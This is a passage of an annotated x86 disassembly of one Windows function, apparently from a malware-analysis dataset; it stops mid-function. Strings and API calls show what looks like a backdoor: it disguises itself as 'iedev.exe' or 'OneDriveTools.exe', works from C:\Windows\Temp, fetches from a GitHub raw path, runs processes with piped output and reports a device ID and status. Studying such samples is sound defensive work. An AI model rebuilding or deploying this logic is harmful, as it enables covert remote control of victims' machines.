Function at 0x402b80
Capabilities:
Accept command line arguments
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes
Read file on windows
Read pipe
Resolve function by parsing pe exports
Set current directory
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3a4
mov eax, dword [0x46a524]
xor eax, esp
mov dword [esp + 0x3a0], eax
push ebx
push esi
push edi
push str.iedev.exe
lea ecx, [esp + 0x1a4]
call fcn.00401130
xor ebx, ebx
push 8
mov dword [esp + 0x204], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x404668
mov dword [esp + 0x200], eax
mov dword [eax + 4], ebx
xor ecx, ecx
mov dword [eax], ecx
mov ecx, dword [esp + 0x200]
push 0xffffffffffffffff
lea eax, [esp + 0x204]
mov dword [ecx], eax
push ebx
lea edx, [esp + 0x1a8]
mov esi, 0xf
push edx
mov ecx, eax
mov dword [esp + 0x224], esi
mov dword [esp + 0x220], ebx
mov byte [esp + 0x210], bl
call fcn.004025f0
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
sub esp, 0x20
mov ecx, esp
mov dword [esp + 0x30], esp
push eax
call fcn.00401130
lea eax, [esp + 0x180]
push eax
call fcn.00407aa0
add esp, 0x24
cmp dword [eax + 0x18], 8
jb 0x402c43
mov eax, dword [eax + 4]
jmp 0x402c46
add eax, 4
lea ecx, [esp + 0x70]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [esp + 0x178], 8
mov edi, eax
jb 0x402c6e
mov edx, dword [esp + 0x164]
push edx
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x160]
xor eax, eax
push ecx
mov dword [esp + 0x17c], 7
mov dword [esp + 0x178], ebx
mov word [esp + 0x168], ax
call fcn.00402800
cmp dword [esp + 0x70], 2
jne 0x402d0b
mov edi, dword [edi + 4]
sub esp, 0x20
mov edx, esp
mov dword [esp + 0x30], esp
push edx
call fcn.00404b40
lea ebx, [esp + 0x180]
call fcn.00407c50
add esp, 0x20
push eax
lea ecx, [esp + 0x1a4]
call fcn.00404900
cmp dword [esp + 0x178], 0x10
jb 0x402ce6
mov eax, dword [esp + 0x164]
push eax
call fcn.004205e0
add esp, 4
xor eax, eax
lea ecx, [esp + 0x160]
mov dword [esp + 0x178], esi
mov dword [esp + 0x174], eax
mov byte [esp + 0x164], al
call fcn.00401380
xor ebx, ebx
push str.C:WindowsTemp
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 8
mov dword [esp + 0x224], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x40463f
mov dword [esp + 0x220], eax
mov dword [eax + 4], ebx
xor ecx, ecx
mov dword [eax], ecx
mov edx, dword [esp + 0x220]
lea ecx, [esp + 0x220]
mov dword [edx], ecx
push 0xb
push str.deviceId_n_
mov dword [esp + 0x240], esi
mov dword [esp + 0x23c], ebx
mov byte [esp + 0x22c], bl
call fcn.00404cb0
lea ecx, [esp + 0x160]
call fcn.004077b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x22c]
call fcn.004025f0
cmp dword [esp + 0x178], 0x10
jb 0x402da4
mov eax, dword [esp + 0x164]
push eax
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x160]
mov dword [esp + 0x178], esi
mov dword [esp + 0x174], ebx
mov byte [esp + 0x164], bl
call fcn.00401380
push 8
mov dword [esp + 0x244], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x404616
mov dword [esp + 0x240], eax
mov dword [eax + 4], ebx
xor ecx, ecx
mov dword [eax], ecx
mov edx, dword [esp + 0x240]
lea ecx, [esp + 0x240]
mov dword [edx], ecx
push 0x16
push str._exe_OneDriveTools.exe
mov dword [esp + 0x260], esi
mov dword [esp + 0x25c], ebx
mov byte [esp + 0x24c], bl
call fcn.00404cb0
mov dword [esp + 0xa0], 1
mov dword [esp + 0x98], 0xc
mov dword [esp + 0x9c], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], ebx
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
mov dword [esp + 0x1c4], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x4045ed
mov dword [esp + 0x1c0], eax
mov dword [eax + 4], ebx
xor ecx, ecx
mov dword [eax], ecx
mov ecx, dword [esp + 0x1c0]
lea eax, [esp + 0x1c0]
mov dword [ecx], eax
push 8
mov dword [esp + 0x1dc], esi
mov dword [esp + 0x1d8], ebx
mov byte [esp + 0x1c8], bl
mov dword [esp + 0x1e4], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x4045c4
mov dword [esp + 0x1e0], eax
mov dword [eax + 4], ebx
xor ecx, ecx
mov dword [eax], ecx
mov eax, dword [esp + 0x1e0]
lea edx, [esp + 0x1e0]
mov dword [eax], edx
push 8
mov dword [esp + 0x1fc], esi
mov dword [esp + 0x1f8], ebx
mov byte [esp + 0x1e8], bl
mov dword [esp + 0x184], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x40459b
mov dword [esp + 0x180], eax
mov dword [eax + 4], ebx
xor ecx, ecx
mov dword [eax], ecx
mov edx, dword [esp + 0x180]
sub esp, 0x20
lea ecx, [esp + 0x1a0]
mov dword [edx], ecx
mov edi, esp
mov dword [esp + 0x1b8], esi
mov dword [esp + 0x1b4], ebx
mov byte [esp + 0x1a4], bl
mov dword [esp + 0x34], esp
push 8
mov dword [edi], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x404572
mov dword [edi], eax
mov dword [eax + 4], ebx
xor ecx, ecx
mov dword [eax], ecx
mov eax, dword [edi]
mov dword [eax], edi
push 0x2b
mov dword [edi + 0x18], esi
mov dword [edi + 0x14], ebx
push str.waylin761218_HelloWorld_raw_main_HelloWorld
mov ecx, edi
mov byte [edi + 4], bl
call fcn.00401430
sub esp, 0x20
mov edi, esp
mov dword [esp + 0x54], esp
push 8
mov dword [edi], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x40453a
mov dword [edi], eax
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ebx
mov ecx, dword [edi]
mov dword [ecx], edi
push 0xa
mov dword [edi + 0x18], esi
mov dword [edi + 0x14], ebx
push str.github.com
mov ecx, edi
mov byte [edi + 4], bl
call fcn.00401430
lea edx, [esp + 0x1c0]
push edx
call fcn.0040c0c0
add esp, 0x44
cmp al, bl
je 0x403772
cmp dword [esp + 0x194], ebx
je 0x403772
sub esp, 0x20
mov edi, esp
mov dword [esp + 0x34], esp
push 8
mov dword [edi], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x4042d6
mov dword [edi], eax
mov dword [eax + 4], ebx
xor ecx, ecx
mov dword [eax], ecx
mov eax, dword [edi]
mov dword [eax], edi
push 0xa
mov dword [edi + 0x18], esi
mov dword [edi + 0x14], ebx
push str.0797C0tsZD
mov ecx, edi
mov byte [edi + 4], bl
call fcn.00401430
sub esp, 0x20
mov edi, esp
mov dword [esp + 0x54], esp
push 8
mov dword [edi], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x40429e
mov dword [edi], eax
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ebx
mov ecx, dword [edi]
push 0xffffffffffffffff
mov dword [ecx], edi
push ebx
lea edx, [esp + 0x1c8]
mov dword [edi + 0x18], esi
mov dword [edi + 0x14], ebx
push edx
mov ecx, edi
mov byte [edi + 4], bl
call fcn.004015e0
lea eax, [esp + 0x1a0]
push eax
call fcn.0040fd20
add esp, 0x24
mov edi, esp
mov dword [esp + 0x34], esp
push 8
mov dword [edi], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x404266
mov dword [edi], eax
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ebx
mov ecx, dword [edi]
push 0xffffffffffffffff
mov dword [ecx], edi
push ebx
lea edx, [esp + 0x188]
mov dword [edi + 0x18], 0xf
mov dword [edi + 0x14], ebx
push edx
mov ecx, edi
mov byte [edi + 4], bl
call fcn.004015e0
lea esi, [esp + 0x280]
call fcn.00405230
lea eax, [esp + 0x140]
push eax
mov ecx, esi
push ecx
call fcn.00405db0
mov esi, eax
cmp esi, 0x46c9c0
je 0x40314c
cmp dword [0x46c9d8], 0x10
jb 0x4030f2
mov edx, dword [0x46c9c4]
push edx
call fcn.004205e0
add esp, 4
mov edi, 0xf
mov dword [0x46c9d8], edi
mov dword [0x46c9d4], ebx
mov byte [0x46c9c4], bl
cmp dword [esi + 0x18], 0x10
jae 0x403127
mov eax, dword [esi + 0x14]
inc eax
push eax
lea eax, [esi + 4]
push eax
push 0x46c9c4
call fcn.00420020
add esp, 0xc
jmp 0x403133
mov ecx, dword [esi + 4]
mov dword [0x46c9c4], ecx
mov dword [esi + 4], ebx
mov edx, dword [esi + 0x14]
mov dword [0x46c9d4], edx
mov eax, dword [esi + 0x18]
mov dword [0x46c9d8], eax
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
jmp 0x403151
mov edi, 0xf
cmp dword [esp + 0x158], 0x10
jb 0x40316b
mov ecx, dword [esp + 0x144]
push ecx
call fcn.004205e0
add esp, 4
mov dword [esp + 0x158], edi
mov dword [esp + 0x154], ebx
mov byte [esp + 0x144], bl
cmp dword [esp + 0x140], ebx
je 0x4031c5
push 3
lea ecx, [esp + 0x6c]
call fcn.0041e6c0
mov eax, dword [esp + 0x140]
cmp dword [eax + 4], ebx
je 0x4031b2
mov edx, dword [eax + 4]
mov dword [edx], ebx
mov ecx, dword [eax + 4]
mov edx, dword [ecx + 4]
mov dword [eax + 4], edx
cmp edx, ebx
jne 0x4031a0
mov eax, dword [esp + 0x140]
lea ecx, [esp + 0x68]
mov dword [eax + 4], ebx
call fcn.0041e700
mov ecx, dword [esp + 0x140]
push ecx
call fcn.004205e0
add esp, 4
lea edx, [esp + 0x140]
push edx
lea eax, [esp + 0x264]
push eax
call fcn.00405e60
mov esi, eax
cmp esi, 0x46c980
je 0x40325f
cmp dword [0x46c998], 0x10
jb 0x40320c
mov ecx, dword [0x46c984]
push ecx
call fcn.004205e0
add esp, 4
mov dword [0x46c998], edi
mov dword [0x46c994], ebx
mov byte [0x46c984], bl
cmp dword [esi + 0x18], 0x10
jae 0x40323c
mov eax, dword [esi + 0x14]
inc eax
push eax
lea edx, [esi + 4]
push edx
push 0x46c984
call fcn.00420020
add esp, 0xc
jmp 0x403247
mov eax, dword [esi + 4]
mov dword [0x46c984], eax
mov dword [esi + 4], ebx
mov ecx, dword [esi + 0x14]
mov dword [0x46c994], ecx
mov edx, dword [esi + 0x18]
mov dword [0x46c998], edx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
cmp dword [esp + 0x158], 0x10
jb 0x403279
mov eax, dword [esp + 0x144]
push eax
call fcn.004205e0
add esp, 4
mov dword [esp + 0x158], edi
mov dword [esp + 0x154], ebx
mov byte [esp + 0x144], bl
cmp dword [esp + 0x140], ebx
je 0x4032d5
push 3
lea ecx, [esp + 0x58]
call fcn.0041e6c0
mov eax, dword [esp + 0x140]
cmp dword [eax + 4], ebx
je 0x4032c2
mov edi, edi
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov edx, dword [eax + 4]
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
cmp ecx, ebx
jne 0x4032b0
mov edx, dword [esp + 0x140]
lea ecx, [esp + 0x54]
mov dword [edx + 4], ebx
call fcn.0041e700
mov eax, dword [esp + 0x140]
push eax
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x140]
push ecx
lea edx, [esp + 0x264]
push edx
call fcn.00405f10
mov esi, eax
cmp esi, 0x46c920
je 0x40336e
cmp dword [0x46c938], 0x10
jb 0x40331b
mov eax, dword [0x46c924]
push eax
call fcn.004205e0
add esp, 4
mov dword [0x46c938], edi
mov dword [0x46c934], ebx
mov byte [0x46c924], bl
cmp dword [esi + 0x18], 0x10
jae 0x40334b
mov eax, dword [esi + 0x14]
inc eax
push eax
lea ecx, [esi + 4]
push ecx
push 0x46c924
call fcn.00420020
add esp, 0xc
jmp 0x403357
mov edx, dword [esi + 4]
mov dword [0x46c924], edx
mov dword [esi + 4], ebx
mov eax, dword [esi + 0x14]
mov dword [0x46c934], eax
mov ecx, dword [esi + 0x18]
mov dword [0x46c938], ecx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
cmp dword [esp + 0x158], 0x10
jb 0x403388
mov edx, dword [esp + 0x144]
push edx
call fcn.004205e0
add esp, 4
mov dword [esp + 0x158], edi
mov dword [esp + 0x154], ebx
mov byte [esp + 0x144], bl
cmp dword [esp + 0x140], ebx
je 0x4033e5
push 3
lea ecx, [esp + 0x68]
call fcn.0041e6c0
mov eax, dword [esp + 0x140]
cmp dword [eax + 4], ebx
je 0x4033d2
lea ecx, [ecx]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov edx, dword [eax + 4]
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
cmp ecx, ebx
jne 0x4033c0
mov edx, dword [esp + 0x140]
lea ecx, [esp + 0x64]
mov dword [edx + 4], ebx
call fcn.0041e700
mov eax, dword [esp + 0x140]
push eax
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x140]
push ecx
lea edx, [esp + 0x264]
push edx
call fcn.00405fc0
mov esi, eax
cmp esi, 0x46c9a0
je 0x40347e
cmp dword [0x46c9b8], 0x10
jb 0x40342b
mov eax, dword [0x46c9a4]
push eax
call fcn.004205e0
add esp, 4
mov dword [0x46c9b8], edi
mov dword [0x46c9b4], ebx
mov byte [0x46c9a4], bl
cmp dword [esi + 0x18], 0x10
jae 0x40345b
mov eax, dword [esi + 0x14]
inc eax
push eax
lea ecx, [esi + 4]
push ecx
push 0x46c9a4
call fcn.00420020
add esp, 0xc
jmp 0x403467
mov edx, dword [esi + 4]
mov dword [0x46c9a4], edx
mov dword [esi + 4], ebx
mov eax, dword [esi + 0x14]
mov dword [0x46c9b4], eax
mov ecx, dword [esi + 0x18]
mov dword [0x46c9b8], ecx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
cmp dword [esp + 0x158], 0x10
jb 0x403498
mov edx, dword [esp + 0x144]
push edx
call fcn.004205e0
add esp, 4
mov dword [esp + 0x158], edi
mov dword [esp + 0x154], ebx
mov byte [esp + 0x144], bl
cmp dword [esp + 0x140], ebx
je 0x4034f5
push 3
lea ecx, [esp + 0x70]
call fcn.0041e6c0
mov eax, dword [esp + 0x140]
cmp dword [eax + 4], ebx
je 0x4034e2
lea ecx, [ecx]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov edx, dword [eax + 4]
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
cmp ecx, ebx
jne 0x4034d0
mov edx, dword [esp + 0x140]
lea ecx, [esp + 0x6c]
mov dword [edx + 4], ebx
call fcn.0041e700
mov eax, dword [esp + 0x140]
push eax
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x140]
push ecx
lea edx, [esp + 0x264]
push edx
call fcn.00406070
mov esi, eax
cmp esi, 0x46c940
je 0x40358e
cmp dword [0x46c958], 0x10
jb 0x40353b
mov eax, dword [0x46c944]
push eax
call fcn.004205e0
add esp, 4
mov dword [0x46c958], edi
mov dword [0x46c954], ebx
mov byte [0x46c944], bl
cmp dword [esi + 0x18], 0x10
jae 0x40356b
mov eax, dword [esi + 0x14]
inc eax
push eax
lea ecx, [esi + 4]
push ecx
push 0x46c944
call fcn.00420020
add esp, 0xc
jmp 0x403577
mov edx, dword [esi + 4]
mov dword [0x46c944], edx
mov dword [esi + 4], ebx
mov eax, dword [esi + 0x14]
mov dword [0x46c954], eax
mov ecx, dword [esi + 0x18]
mov dword [0x46c958], ecx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
cmp dword [esp + 0x158], 0x10
jb 0x4035a8
mov edx, dword [esp + 0x144]
push edx
call fcn.004205e0
add esp, 4
mov dword [esp + 0x158], edi
mov dword [esp + 0x154], ebx
mov byte [esp + 0x144], bl
cmp dword [esp + 0x140], ebx
je 0x403608
push 3
lea ecx, [esp + 0x98]
call fcn.0041e6c0
mov eax, dword [esp + 0x140]
cmp dword [eax + 4], ebx
je 0x4035f2
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov edx, dword [eax + 4]
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
cmp ecx, ebx
jne 0x4035e0
mov edx, dword [esp + 0x140]
lea ecx, [esp + 0x94]
mov dword [edx + 4], ebx
call fcn.0041e700
mov eax, dword [esp + 0x140]
push eax
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x140]
push ecx
lea edx, [esp + 0x264]
push edx
call fcn.00406120
mov esi, eax
cmp esi, 0x46c960
je 0x4036a1
cmp dword [0x46c978], 0x10
jb 0x40364e
mov eax, dword [0x46c964]
push eax
call fcn.004205e0
add esp, 4
mov dword [0x46c978], edi
mov dword [0x46c974], ebx
mov byte [0x46c964], bl
cmp dword [esi + 0x18], 0x10
jae 0x40367e
mov eax, dword [esi + 0x14]
inc eax
push eax
lea ecx, [esi + 4]
push ecx
push 0x46c964
call fcn.00420020
add esp, 0xc
jmp 0x40368a
mov edx, dword [esi + 4]
mov dword [0x46c964], edx
mov dword [esi + 4], ebx
mov eax, dword [esi + 0x14]
mov dword [0x46c974], eax
mov ecx, dword [esi + 0x18]
mov dword [0x46c978], ecx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
cmp dword [esp + 0x158], 0x10
jb 0x4036bb
mov edx, dword [esp + 0x144]
push edx
call fcn.004205e0
add esp, 4
mov dword [esp + 0x158], edi
mov dword [esp + 0x154], ebx
mov byte [esp + 0x144], bl
cmp dword [esp + 0x140], ebx
je 0x403715
push 3
lea ecx, [esp + 0x54]
call fcn.0041e6c0
mov eax, dword [esp + 0x140]
cmp dword [eax + 4], ebx
je 0x403702
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov edx, dword [eax + 4]
mov ecx, dword [edx + 4]
mov dword [eax + 4], ecx
cmp ecx, ebx
jne 0x4036f0
mov edx, dword [esp + 0x140]
lea ecx, [esp + 0x50]
mov dword [edx + 4], ebx
call fcn.0041e700
mov eax, dword [esp + 0x140]
push eax
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x260]
push ecx
call fcn.004046a0
cmp dword [esp + 0x178], 0x10
jb 0x40374c
mov edx, dword [esp + 0x164]
push edx
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x160]
mov dword [esp + 0x178], edi
mov dword [esp + 0x174], ebx
mov byte [esp + 0x164], bl
call fcn.00401380
mov esi, 0xf
mov eax, dword [esp + 0x204]
mov edi, 0x10
cmp dword [esp + 0x218], edi
jae 0x40378e
lea eax, [esp + 0x204]
push ebx
push eax
call fcn.004209f0
add esp, 8
cmp eax, 0xffffffff
jne 0x403896
mov eax, dword [esp + 0x204]
mov dword [esp + 0x214], ebx
cmp dword [esp + 0x218], edi
jae 0x4037bf
lea eax, [esp + 0x204]
push 0x10
push str.C:WindowsTemp_
lea ecx, [esp + 0x208]
mov byte [eax], bl
call fcn.00404cb0
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x1a8]
push eax
lea ecx, [esp + 0x20c]
call fcn.004025f0
sub esp, 0x20
mov edi, esp
mov dword [esp + 0x34], esp
push 8
mov dword [edi], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x404340
mov dword [edi], eax
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ebx
mov ecx, dword [edi]
push 0xffffffffffffffff
mov dword [ecx], edi
push ebx
lea edx, [esp + 0x228]
mov dword [edi + 0x18], esi
mov dword [edi + 0x14], ebx
push edx
mov ecx, edi
mov byte [edi + 4], bl
call fcn.004015e0
sub esp, 0x20
mov edi, esp
mov dword [esp + 0x54], esp
push 8
mov dword [edi], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x404308
mov dword [edi], eax
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ebx
mov eax, dword [edi]
push 0xffffffffffffffff
mov dword [eax], edi
push ebx
lea ecx, [esp + 0x288]
push ecx
mov dword [edi + 0x18], esi
mov dword [edi + 0x14], ebx
mov ecx, edi
mov byte [edi + 4], bl
call fcn.004015e0
call fcn.00409690
add esp, 0x40
cmp al, bl
jne 0x403891
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4041ae
mov edi, 0x10
cmp dword [esp + 0x1b8], edi
mov edi, dword [esp + 0x1a4]
jae 0x4038ad
lea edi, [esp + 0x1a4]
call fcn.004076d0
test eax, eax
jne 0x403cb3
push ebx
lea edx, [esp + 0x9c]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0x44
lea edx, [esp + 0xfc]
push ebx
push edx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
call fcn.00428b60
mov eax, dword [esp + 0x24]
or dword [esp + 0x130], 0x101
mov dword [esp + 0x144], eax
mov dword [esp + 0x140], eax
xor eax, eax
mov edi, 0x10
add esp, 0xc
mov word [esp + 0x128], ax
mov eax, dword [esp + 0x204]
mov dword [esp + 0xf8], 0x44
cmp dword [esp + 0x218], edi
jae 0x403944
lea eax, [esp + 0x204]
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0xfc]
push edx
push ebx
push ebx
push 0x8000000
push 1
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x1c4]
mov dword [esp + 0x1d4], ebx
cmp dword [esp + 0x1d8], edi
jae 0x40398d
lea eax, [esp + 0x1c4]
mov byte [eax], bl
nop
mov ecx, dword [esp + 0x1c]
push ebx
lea eax, [esp + 0x44]
push eax
push ebx
push ebx
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
test eax, eax
mov eax, dword [esp + 0x40]
je 0x403ab1
cmp eax, ebx
je 0x403ab9
mov dword [esp + 0x14], eax
mov dword [esp + 0x3a0], ebx
mov dword [esp + 0x3a4], ebx
mov word [esp + 0x3a8], bx
jbe 0x403ab9
mov ecx, dword [esp + 0x1c]
push ebx
lea edx, [esp + 0x18]
push edx
push 0xa
lea eax, [esp + 0x3ac]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea edx, [esp + 0x3a0]
push edx
lea ecx, [esp + 0x144]
call fcn.00401130
mov eax, dword [esp + 0x14]
push eax
push ebx
lea ecx, [esp + 0x168]
push ecx
lea edx, [esp + 0x14c]
push edx
call fcn.004049e0
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x168]
push eax
lea ecx, [esp + 0x1cc]
call fcn.004025f0
cmp dword [esp + 0x178], edi
jb 0x403a52
mov ecx, dword [esp + 0x164]
push ecx
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x160]
mov dword [esp + 0x178], esi
mov dword [esp + 0x174], ebx
mov byte [esp + 0x164], bl
call fcn.00401380
cmp dword [esp + 0x158], edi
jb 0x403a8c
mov edx, dword [esp + 0x144]
push edx
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x140]
mov dword [esp + 0x158], esi
mov dword [esp + 0x154], ebx
mov byte [esp + 0x144], bl
call fcn.00401380
mov eax, dword [esp + 0x40]
cmp eax, ebx
ja 0x403990
cmp dword [esp + 0x1d4], ebx
je 0x403cb3
mov eax, dword [esp + 0x1e4]
mov dword [esp + 0x1f4], ebx
cmp dword [esp + 0x1f8], edi
jae 0x403ae4
lea eax, [esp + 0x1e4]
sub esp, 0x20
mov edi, esp
mov byte [eax], bl
mov dword [esp + 0x34], esp
push 8
mov dword [edi], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x4043d3
mov dword [edi], eax
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ebx
mov eax, dword [edi]
push 0xffffffffffffffff
mov dword [eax], edi
push ebx
lea ecx, [esp + 0x1e8]
push ecx
mov dword [edi + 0x18], esi
mov dword [edi + 0x14], ebx
mov ecx, edi
mov byte [edi + 4], bl
call fcn.004015e0
lea ecx, [esp + 0x180]
call fcn.0040bc10
add esp, 0x20
push eax
lea ecx, [esp + 0x1e4]
call fcn.00404900
cmp dword [esp + 0x178], 0x10
jb 0x403b61
mov edx, dword [esp + 0x164]
push edx
call fcn.004205e0
add esp, 4
lea ecx, [esp + 0x160]
mov dword [esp + 0x178], esi
mov dword [esp + 0x174], ebx
mov byte [esp + 0x164], bl
call fcn.00401380
push 8
mov dword [esp + 0x144], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x4043aa
mov dword [esp + 0x140], eax
mov dword [eax + 4], ebx
xor ecx, ecx
mov dword [eax], ecx
mov ecx, dword [esp + 0x140]
sub esp, 0x20
lea eax, [esp + 0x160]
mov dword [ecx], eax
mov edi, esp
mov dword [esp + 0x164], ebx
mov dword [esp + 0x168], ebx
mov dword [esp + 0x16c], ebx
mov dword [esp + 0x34], esp
push 8
mov dword [edi], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x404378
mov dword [edi], eax
xor ecx, ecx
mov dword [eax], ecx
xor edx, edx
mov dword [eax + 4], edx
mov edx, dword [edi]
push 0xffffffffffffffff
mov dword [edx], edi
push ebx
lea eax, [esp + 0x1e8]
mov dword [edi + 0x18], esi
mov dword [edi + 0x14], ebx
push eax
mov ecx, edi
mov byte [edi + 4], bl
call fcn.004015e0
lea ecx, [esp + 0x160]
call fcn.0040b880
add esp, 0x20
push ebx
lea ecx, [esp + 0x144]
call fcn.00404c30
push str.deviceId
mov ebx, eax
call fcn.00404aa0
test eax, eax
jne 0x403c99
push 1
lea ecx, [esp + 0x144]
call fcn.00404c30
push 0x46481c
mov ebx, eax
call fcn.00404aa0
test eax, eax
jne 0x403c99
cmp dword [esp + 0x238], 0x10
mov dword [esp + 0x234], eax
mov eax, dword [esp + 0x224]
jae 0x403c7e
lea eax, [esp + 0x224]
push 0xffffffffffffffff
push 0
lea ecx, [esp + 0x1e8]
push ecx
lea ecx, [esp + 0x22c]
mov byte [eax], 0
call fcn.004015e0
lea ecx, [esp + 0x140]
call fcn.00404de0
lea ecx, [esp + 0x140]
call fcn.00401380
xor ebx, ebx
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x234], ebx
je 0x4041ae
push 8
mov dword [esp + 0x144], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x404508
mov dword [esp + 0x140], eax
mov dword [eax + 4], ebx
xor ecx, ecx
mov dword [eax], ecx
mov eax, dword [esp + 0x140]
lea edx, [esp + 0x140]
mov dword [eax], edx
push 1
push 0x464820
mov ecx, edx
mov dword [esp + 0x160], esi
mov dword [esp + 0x15c], ebx
mov byte [esp + 0x14c], bl
call fcn.00404cb0
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x228]
push ecx
lea ecx, [esp + 0x14c]
call fcn.004025f0
push 7
push str._status
lea ecx, [esp + 0x148]
call fcn.00404cb0
cmp dword [esp + 0x198], 0x10
mov eax, dword [esp + 0x184]
mov dword [esp + 0x194], ebx
jae 0x403d6e
lea eax, [esp + 0x184]
sub esp, 0x20
mov edi, esp
mov byte [eax], bl
mov dword [esp + 0x34], esp
push 8
mov dword [edi], ebx
call fcn.00420760
add esp, 4
cmp eax, ebx
je 0x4044d6
mov dword [edi], eax
xor ecx, ecx
mov dword [eax], ecx
xor edx, edx
mov dword [eax + 4], edx
mov edx, dword [edi]
push 0xffffffffffffffff
mov dword [edx], edi
push ebx
lea eax, [esp + 0x168]
mov dword [edi + 0x18], esi
mov dword [edi + 0x14], ebx
push eax
mov ecx, edi
mov byte [edi + 4], bl
call fcn.004015e0
lea ecx, [esp + 0x1a0]
push ecx
call fcn.0040a7d0
add esp, 0x24
push 0x46482c
lea ebx, [esp + 0x184]
mov byte [esp + 0x13], al
call fcn.00404aa0
test eax, eax
jne 0x403e9e
cmp byte [esp + 0xf], al
je 0x403e9e
mov edx, dword [esp + 0x2c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x30]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
mov edi, dword [esp + 0x1a4]
mov ebx, 0x10
cmp dword [esp + 0x1b8], ebx
jae 0x403e30
lea edi, [esp + 0x1a4]
call fcn.004076d0
test eax, eax
je 0x403e7a
mov edi, dword [esp + 0x1a4]
cmp dword [esp + 0x1b8], ebx
jae 0x403e50
lea edi, [esp + 0x1a4]
call fcn.004076d0
cmp eax, 0xffffffff
je 0x403e7a
mov eax, dword [esp + 0x1a4]
cmp dword [esp + 0x1b8], ebx
jae 0x403e71
lea eax, [esp + 0x1a4]
push eax
call fcn.0040baf0
add esp, 4
mov ecx, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
mov edx, dword [esp + 0x1c]
push edx
call edi
mov eax, dword [esp + 0x2c]
push eax
call edi
mov ecx, dword [esp + 0x30]
push ecx
call edi
jmp 0x403ea4
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x464830
lea ebx, [esp + 0x184]
call fcn.00404aa0
test eax, eax
jne 0x404148
cmp byte [esp + 0xf], al
je 0x404148
push 0x3e8
call esi
mov edx, dword [esp + 0x2c]
push 0
push edx
